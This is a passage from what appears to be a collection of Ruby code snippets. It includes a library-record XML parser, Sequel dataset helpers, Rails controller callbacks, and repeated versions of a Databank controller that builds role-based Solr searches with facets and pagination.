\n #Link to Limo => bases on institution id\n #same_as_template = \"https://limo.libis.be/primo-explore/search?query=any,contains,<#record_id>&vid=KULeuven&lang=en_US\"\n #Link to Limo => bases on networkzone id (different publishing profile)\n # same_as_template = https://limo.libis.be/primo-explore/fulldisplay?docid=<#record_id>&context=L&vid=KULeuven&search_scope=ALL_CONTENT&tab=all_content_tab&lang=en_US\n\n records_dir = \"#{RECORDS_DIR}/Alma_KULeuven/#{@dataset[\"@id\"]}\"\n \n @counter = 0\n record_count = 0\n \n if options[:full_export] \n log(\"Clear records #{records_dir}/*.json\")\n Dir.glob(\"#{records_dir}/*.json\").each { |file| File.delete(file)}\n else\n log(\"DO NOT CLEAR RECORDS DIR; It is a partial export [#{records_dir}]\")\n end\n\n source_dir = source_dir || SOURCE_RECORDS_DIR\n log(\"SOURCE_RECORDS_DIR : #{ source_dir }\")\n log(\"source_file_name : #{ source_file_name }\")\n \n# filter(data, '$..collection.record').each do |record|\n\n nori = Nori.new(parser: :nokogiri, strip_namespaces: true, convert_tags_to: lambda {|tag| tag.gsub(/^@/, '_')})\n\n Dir[\"#{source_dir}/#{source_file_name}\"].each_with_index do |source_file, index| \n log(\" parsing #{source_file}\")\n timing_start = Time.now\n x = XmlSplit.new(source_file, 'record')\n x.each_with_index { |node,i| \n filter( nori.parse(node) , '$.record').each do |record|\n #@logger.debug(\" ReIReS parser - record : #{record} \")\n ## To debug a large xml-file.\n ## Split the xml-file in smal chunks; 1 json representation per file\n\n=begin\n #if i % 7 == 0\n split_dir = \"/app/records/split_records\"\n unless File.directory?(split_dir)\n FileUtils.mkdir_p(split_dir)\n end\n file_name = \"#{split_dir}/record_#{i}.json\"\n File.open(file_name, 'wb') do |f|\n f.puts record.to_json\n end\n #end\n=end \n #if i.between?(24660 , 24670)\n parse_record( record: record, index: i, records_dir: records_dir)\n #end\n end\n index += 1\n if index % 5000 == 0\n @logger.info(\" ReIReS parser - #{index} records already parsed \") \n end\n }\n record_count += index\n end\n\n####### PARSE A FEW RECORDS !!!!!!!!!!!!!!!!!!######################\n=begin\nfiles =[]\nfiles << \"/app/records/split_records/record_68138.xml\"\nfiles << \"/app/records/split_records/record_15489.xml\"\n###################################################################\nrecords_dir = \"/app/records/Alma_KULeuven/test/\"\nDir.glob(\"#{records_dir}/*.json\").each { |file| File.delete(file)}\n\nfiles.each_with_index do |file,i| \n record = JSON.parse(File.read(file))\n parse_record( record: record, index: 0, records_dir: records_dir)\nend\n=end\n\nend", "def dataset_extend(mod, opts=OPTS)\n @dataset = @dataset.with_extend(mod) if @dataset\n reset_instance_dataset\n dataset_method_modules << mod\n unless opts[:create_class_methods] == false\n mod.public_instance_methods.each{|meth| def_model_dataset_method(meth)}\n end\n end", "def dataset_extend(mod, opts=OPTS)\n @dataset = @dataset.with_extend(mod) if @dataset\n reset_instance_dataset\n dataset_method_modules << mod\n unless opts[:create_class_methods] == false\n mod.public_instance_methods.each{|meth| def_model_dataset_method(meth)}\n end\n end", "def profile_datasets_advance\n advance = []\n each_dataset_profile_advance { |adv| advance << adv }\n advance\n end", "def configure_layers_data\n # Http/base layers don't appear at viz.json\n layers = @visualization.data_layers\n layers_data = Array.new\n layers.each do |layer|\n layer_vizjson = VizJSON3LayerPresenter.new(layer, @options, @configuration).to_vizjson\n layers_data.push(data_for_carto_layer(layer_vizjson))\n end\n layers_data\n end", "def index\n\n @datasets = Dataset.where(publication_state: [Databank::PublicationState::RELEASED, Databank::PublicationState::Embargo::FILE, Databank::PublicationState::TempSuppress::FILE, Databank::PublicationState::PermSuppress::FILE]).where(is_test: false) #used for json response\n\n @my_datasets_count = 0\n\n @search = nil\n search_get_facets = nil\n\n if params.has_key?(:per_page)\n per_page = params[:per_page].to_i\n else\n per_page = 25\n end\n\n if current_user&.role\n\n case current_user.role\n when \"admin\"\n\n search_get_facets = Dataset.search do\n without(:depositor, 'error')\n with(:is_most_recent_version, true)\n keywords(params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:depositor)\n facet(:subject_text)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n end\n\n @search = Dataset.search do\n\n without(:depositor, 'error')\n\n if params.has_key?('license_codes')\n any_of do\n params['license_codes'].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?('subjects')\n any_of do\n params['subjects'].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?('depositors')\n any_of do\n params['depositors'].each do |depositor_netid|\n with :depositor_netid, depositor_netid\n end\n end\n end\n\n if params.has_key?('funder_codes')\n any_of do\n params['funder_codes'].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n\n if params.has_key?('visibility_codes')\n any_of do\n params['visibility_codes'].each do |visibility_code|\n with :visibility_code, visibility_code\n end\n end\n end\n\n if params.has_key?('publication_years')\n any_of do\n params['publication_years'].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n\n keywords (params[:q])\n\n if params.has_key?('sort_by')\n if params['sort_by'] == 'sort_updated_asc'\n order_by :updated_at, :asc\n elsif params['sort_by'] == 'sort_released_asc'\n order_by :release_datetime, :asc\n elsif params['sort_by'] == 'sort_released_desc'\n order_by :release_datetime, :desc\n elsif params['sort_by'] == 'sort_ingested_asc'\n order_by :ingest_datetime, :asc\n elsif params['sort_by'] == 'sort_ingested_desc'\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n\n facet(:license_code)\n facet(:funder_codes)\n facet(:depositor)\n facet(:subject_text)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n\n end\n\n # this makes a row for each category, even if the current search does not have any results in a category\n # these facets are only for admins\n\n search_get_facets.facet(:visibility_code).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:visibility_code).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:visibility_code).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:depositor).rows.each do |outer_row|\n has_this_row = false\n\n @search.facet(:depositor).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:depositor).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n\n when \"depositor\"\n\n current_netid = current_user.email.split(\"@\").first\n\n search_get_my_facets = Dataset.search do\n all_of do\n without(:depositor, 'error')\n any_of do\n with :depositor_email, current_user.email\n with :internal_editor_netids, current_netid\n end\n with(:is_most_recent_version, true)\n with :is_test, false\n any_of do\n with :publication_state, Databank::PublicationState::DRAFT\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::METADATA\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n end\n end\n keywords(params[:q])\n facet(:visibility_code)\n\n end\n\n search_get_facets = Dataset.search do\n\n all_of do\n without(:depositor, 'error')\n with(:is_test, false)\n any_of do\n with :depositor_email, current_user.email\n with :internal_editor_netids, current_netid\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n all_of do\n with :depositor_email, current_user.email\n with :publication_state, Databank::PublicationState::TempSuppress::METADATA\n end\n all_of do\n with :internal_editor_netids, current_netid\n with :publication_state, Databank::PublicationState::TempSuppress::METADATA\n end\n end\n end\n\n keywords (params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n end\n\n @search = Dataset.search do\n\n all_of do\n without(:depositor, 'error')\n with :is_test, false\n any_of do\n with :depositor_email, current_user.email\n with :internal_editor_netids, current_netid\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n end\n\n if params.has_key?('depositors')\n any_of do\n params['depositors'].each do |depositor_netid|\n with :depositor_netid, depositor_netid\n end\n end\n end\n\n if params.has_key?('subjects')\n any_of do\n params['subjects'].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?('license_codes')\n any_of do\n params['license_codes'].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?('funder_codes')\n any_of do\n params['funder_codes'].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n\n if params.has_key?('visibility_codes')\n any_of do\n params['visibility_codes'].each do |visibility_code|\n with :visibility_code, visibility_code\n end\n end\n end\n\n if params.has_key?('publication_years')\n any_of do\n params['publication_years'].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n\n end\n\n keywords (params[:q])\n if params.has_key?('sort_by')\n if params['sort_by'] == 'sort_updated_asc'\n order_by :updated_at, :asc\n elsif params['sort_by'] == 'sort_released_asc'\n order_by :release_datetime, :asc\n elsif params['sort_by'] == 'sort_released_desc'\n order_by :release_datetime, :desc\n elsif params['sort_by'] == 'sort_ingested_asc'\n order_by :ingest_datetime, :asc\n elsif params['sort_by'] == 'sort_ingested_desc'\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n facet(:license_code)\n facet(:funder_codes)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n\n end\n\n # this gets all categories for facets, even if current results do not have any instances\n\n search_get_my_facets.facet(:visibility_code).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:visibility_code).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:visibility_code).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n else\n\n search_get_facets = Dataset.search do\n all_of do\n without(:depositor, 'error')\n with(:is_most_recent_version, true)\n with :is_test, false\n without :hold_state, Databank::PublicationState::TempSuppress::METADATA\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n end\n end\n\n keywords (params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n end\n\n @search = Dataset.search do\n\n all_of do\n\n without(:depositor, 'error')\n with(:is_test, false)\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n end\n\n if params.has_key?('depositors')\n any_of do\n params['depositors'].each do |depositor|\n with :depositor, depositor\n end\n end\n end\n\n if params.has_key?('subjects')\n any_of do\n params['subjects'].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?('publication_years')\n any_of do\n params['publication_years'].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n\n if params.has_key?('license_codes')\n any_of do\n params['license_codes'].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?('funder_codes')\n any_of do\n params['funder_codes'].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n end\n\n keywords (params[:q])\n if params.has_key?('sort_by')\n if params['sort_by'] == 'sort_updated_asc'\n order_by :updated_at, :asc\n elsif params['sort_by'] == 'sort_released_asc'\n order_by :release_datetime, :asc\n elsif params['sort_by'] == 'sort_released_desc'\n order_by :release_datetime, :desc\n elsif params['sort_by'] == 'sort_ingested_asc'\n order_by :ingest_datetime, :asc\n elsif params['sort_by'] == 'sort_ingested_desc'\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n\n end\n end\n\n else\n\n search_get_facets = Dataset.search do\n\n all_of do\n without(:depositor, 'error')\n with(:is_most_recent_version, true)\n with :is_test, false\n without :hold_state, Databank::PublicationState::TempSuppress::METADATA\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n end\n end\n\n keywords (params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:subject_text)\n facet(:creator_names)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n end\n\n @search = Dataset.search do\n\n all_of do\n without(:depositor, 'error')\n with(:is_most_recent_version, true)\n with :is_test, false\n without :hold_state, Databank::PublicationState::TempSuppress::METADATA\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n end\n\n\n if params.has_key?('license_codes')\n any_of do\n params['license_codes'].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?('publication_years')\n any_of do\n params['publication_years'].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n\n if params.has_key?('subjects')\n any_of do\n params['subjects'].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?('funder_codes')\n any_of do\n params['funder_codes'].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n end\n\n keywords (params[:q])\n if params.has_key?('sort_by')\n if params['sort_by'] == 'sort_updated_asc'\n order_by :updated_at, :asc\n elsif params['sort_by'] == 'sort_released_asc'\n order_by :release_datetime, :asc\n elsif params['sort_by'] == 'sort_released_desc'\n order_by :release_datetime, :desc\n elsif params['sort_by'] == 'sort_ingested_asc'\n order_by :ingest_datetime, :asc\n elsif params['sort_by'] == 'sort_ingested_desc'\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n\n end\n\n end\n\n # this makes a row for each category, even if the current search does not have any results in a category\n # these facets are in all searchers\n\n search_get_facets.facet(:subject_text).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:subject_text).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:subject_text).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:publication_year).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:publication_year).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:publication_year).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:license_code).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:license_code).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:license_code).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:funder_codes).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:funder_codes).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:funder_codes).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n @report = Indexable.citation_report(@search, request.original_url, current_user)\n\n if params.has_key?('download') && params['download'] == 'now'\n send_data @report, :filename => 'report.txt'\n end\n\n end", "def dataset_method\n :\"#{self[:name]}_dataset\"\n end", "def set_dataset\n @dataset = Dataset.find(params[:id] || params[:dataset_id])\n end", "def add(dataset)\n \"add dataset\\nset name=#{dataset}\\nend\"\n end", "def _insert_dataset\n use_server(model.instance_dataset)\n end", "def _insert_dataset\n use_server(model.instance_dataset)\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def each_dataset(&blk)\n if block_given?\n metadata[:datasets].each { |name| blk.call(dataset(name)) }\n else\n to_enum(:each_dataset)\n end\n end", "def dataset(name)\n @datasets[name.to_sym] = Dataset.new(session, *split(name))\n end", "def load_data\n # @categories = Category.find(:all)\n # @infoitems = Expert.find(:all)\n end", "def load_data\n raise \"Data is temporarily disabled\" unless EolConfig.data?\n EOL.log_call\n # Sad that we need to load all of this for the about and glossary tabs, but\n # TODO - we can cache this, later:\n @taxon_data = []\n @range_data = []\n @data_point_uris = []\n @categories = []\n @include_other_category = @data_point_uris &&\n @data_point_uris.detect { |d| d.predicate_known_uri.nil? ||\n d.predicate_known_uri.toc_items.blank? }\n @units_for_select = []\n end", "def index\n @datasets = Dataset.where(publication_state: [Databank::PublicationState::RELEASED, Databank::PublicationState::Embargo::FILE, Databank::PublicationState::TempSuppress::FILE, Databank::PublicationState::PermSuppress::FILE]).where(is_test: false) # used for json response\n\n @my_datasets_count = 0\n\n @search = nil\n search_get_facets = nil\n\n per_page = if params.has_key?(:per_page)\n params[:per_page].to_i\n else\n 25\n end\n\n if current_user&.role\n\n case current_user.role\n when \"admin\"\n\n search_get_facets = Dataset.search do\n without(:depositor, \"error\")\n with(:is_most_recent_version, true)\n keywords(params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:depositor)\n facet(:subject_text)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n end\n\n @search = Dataset.search do\n without(:depositor, \"error\")\n\n if params.has_key?(\"license_codes\")\n any_of do\n params[\"license_codes\"].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?(\"subjects\")\n any_of do\n params[\"subjects\"].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?(\"depositors\")\n any_of do\n params[\"depositors\"].each do |depositor_netid|\n with :depositor_netid, depositor_netid\n end\n end\n end\n\n if params.has_key?(\"funder_codes\")\n any_of do\n params[\"funder_codes\"].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n\n if params.has_key?(\"visibility_codes\")\n any_of do\n params[\"visibility_codes\"].each do |visibility_code|\n with :visibility_code, visibility_code\n end\n end\n end\n\n if params.has_key?(\"publication_years\")\n any_of do\n params[\"publication_years\"].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n\n keywords(params[:q])\n\n if params.has_key?(\"sort_by\")\n case params[\"sort_by\"]\n when \"sort_updated_asc\"\n order_by :updated_at, :asc\n when \"sort_released_asc\"\n order_by :release_datetime, :asc\n when \"sort_released_desc\"\n order_by :release_datetime, :desc\n when \"sort_ingested_asc\"\n order_by :ingest_datetime, :asc\n when \"sort_ingested_desc\"\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n\n facet(:license_code)\n facet(:funder_codes)\n facet(:depositor)\n facet(:subject_text)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n end\n\n # this makes a row for each category, even if the current search does not have any results in a category\n # these facets are only for admins\n\n search_get_facets.facet(:visibility_code).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:visibility_code).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:visibility_code).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:depositor).rows.each do |outer_row|\n has_this_row = false\n\n @search.facet(:depositor).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:depositor).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n when \"depositor\"\n\n current_netid = current_user.email.split(\"@\").first\n\n search_get_my_facets = Dataset.search do\n all_of do\n without(:depositor, \"error\")\n any_of do\n with :depositor_email, current_user.email\n with :internal_view_netids, current_netid\n with :internal_editor_netids, current_netid\n end\n with(:is_most_recent_version, true)\n with :is_test, false\n any_of do\n with :publication_state, Databank::PublicationState::DRAFT\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::METADATA\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n end\n end\n keywords(params[:q])\n facet(:visibility_code)\n end\n\n search_get_facets = Dataset.search do\n all_of do\n without(:depositor, \"error\")\n with(:is_test, false)\n any_of do\n with :depositor_email, current_user.email\n with :internal_view_netids, current_netid\n with :internal_editor_netids, current_netid\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n all_of do\n with :depositor_email, current_user.email\n with :publication_state, Databank::PublicationState::TempSuppress::METADATA\n end\n end\n end\n\n keywords(params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n end\n\n @search = Dataset.search do\n all_of do\n without(:depositor, \"error\")\n with :is_test, false\n any_of do\n with :depositor_email, current_user.email\n with :internal_view_netids, current_netid\n with :internal_editor_netids, current_netid\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n end\n\n if params.has_key?(\"depositors\")\n any_of do\n params[\"depositors\"].each do |depositor_netid|\n with :depositor_netid, depositor_netid\n end\n end\n end\n\n if params.has_key?(\"editor\")\n any_of do\n with :internal_editor_netids, params[\"editor\"]\n with :depositor_netid, params[\"editor\"]\n end\n end\n\n if params.has_key?(\"subjects\")\n any_of do\n params[\"subjects\"].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?(\"license_codes\")\n any_of do\n params[\"license_codes\"].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?(\"funder_codes\")\n any_of do\n params[\"funder_codes\"].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n\n if params.has_key?(\"visibility_codes\")\n any_of do\n params[\"visibility_codes\"].each do |visibility_code|\n with :visibility_code, visibility_code\n end\n end\n end\n\n if params.has_key?(\"publication_years\")\n any_of do\n params[\"publication_years\"].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n end\n\n keywords(params[:q])\n if params.has_key?(\"sort_by\")\n case params[\"sort_by\"]\n when \"sort_updated_asc\"\n order_by :updated_at, :asc\n when \"sort_released_asc\"\n order_by :release_datetime, :asc\n when \"sort_released_desc\"\n order_by :release_datetime, :desc\n when \"sort_ingested_asc\"\n order_by :ingest_datetime, :asc\n when \"sort_ingested_desc\"\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n facet(:license_code)\n facet(:funder_codes)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n end\n\n # this gets all categories for facets, even if current results do not have any instances\n\n search_get_my_facets.facet(:visibility_code).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:visibility_code).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:visibility_code).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n else\n\n search_get_facets = Dataset.search do\n all_of do\n without(:depositor, \"error\")\n with(:is_most_recent_version, true)\n with :is_test, false\n without :hold_state, Databank::PublicationState::TempSuppress::METADATA\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n end\n end\n\n keywords(params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n end\n\n @search = Dataset.search do\n all_of do\n without(:depositor, \"error\")\n with(:is_test, false)\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n end\n\n if params.has_key?(\"depositors\")\n any_of do\n params[\"depositors\"].each do |depositor|\n with :depositor, depositor\n end\n end\n end\n\n if params.has_key?(\"subjects\")\n any_of do\n params[\"subjects\"].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?(\"publication_years\")\n any_of do\n params[\"publication_years\"].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n\n if params.has_key?(\"license_codes\")\n any_of do\n params[\"license_codes\"].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?(\"funder_codes\")\n any_of do\n params[\"funder_codes\"].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n end\n\n keywords(params[:q])\n if params.has_key?(\"sort_by\")\n case params[\"sort_by\"]\n when \"sort_updated_asc\"\n order_by :updated_at, :asc\n when \"sort_released_asc\"\n order_by :release_datetime, :asc\n when \"sort_released_desc\"\n order_by :release_datetime, :desc\n when \"sort_ingested_asc\"\n order_by :ingest_datetime, :asc\n when \"sort_ingested_desc\"\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n end\n end\n\n else\n\n search_get_facets = Dataset.search do\n all_of do\n without(:depositor, \"error\")\n with(:is_most_recent_version, true)\n with :is_test, false\n without :hold_state, Databank::PublicationState::TempSuppress::METADATA\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n end\n end\n\n keywords(params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:subject_text)\n facet(:creator_names)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n end\n\n @search = Dataset.search do\n all_of do\n without(:depositor, \"error\")\n with(:is_most_recent_version, true)\n with :is_test, false\n without :hold_state, Databank::PublicationState::TempSuppress::METADATA\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n end\n\n if params.has_key?(\"license_codes\")\n any_of do\n params[\"license_codes\"].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?(\"publication_years\")\n any_of do\n params[\"publication_years\"].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n\n if params.has_key?(\"subjects\") && !params[\"subjects\"].nil?\n any_of do\n params[\"subjects\"].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?(\"funder_codes\")\n any_of do\n params[\"funder_codes\"].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n end\n\n keywords(params[:q])\n if params.has_key?(\"sort_by\")\n case params[\"sort_by\"]\n when \"sort_updated_asc\"\n order_by :updated_at, :asc\n when \"sort_released_asc\"\n order_by :release_datetime, :asc\n when \"sort_released_desc\"\n order_by :release_datetime, :desc\n when \"sort_ingested_asc\"\n order_by :ingest_datetime, :asc\n when \"sort_ingested_desc\"\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n end\n\n end\n\n # this makes a row for each category, even if the current search does not have any results in a category\n # these facets are in all searchers\n\n search_get_facets.facet(:subject_text).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:subject_text).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:subject_text).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:publication_year).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:publication_year).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:publication_year).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:license_code).rows.each do |outer_row|\n has_this_row = false\n 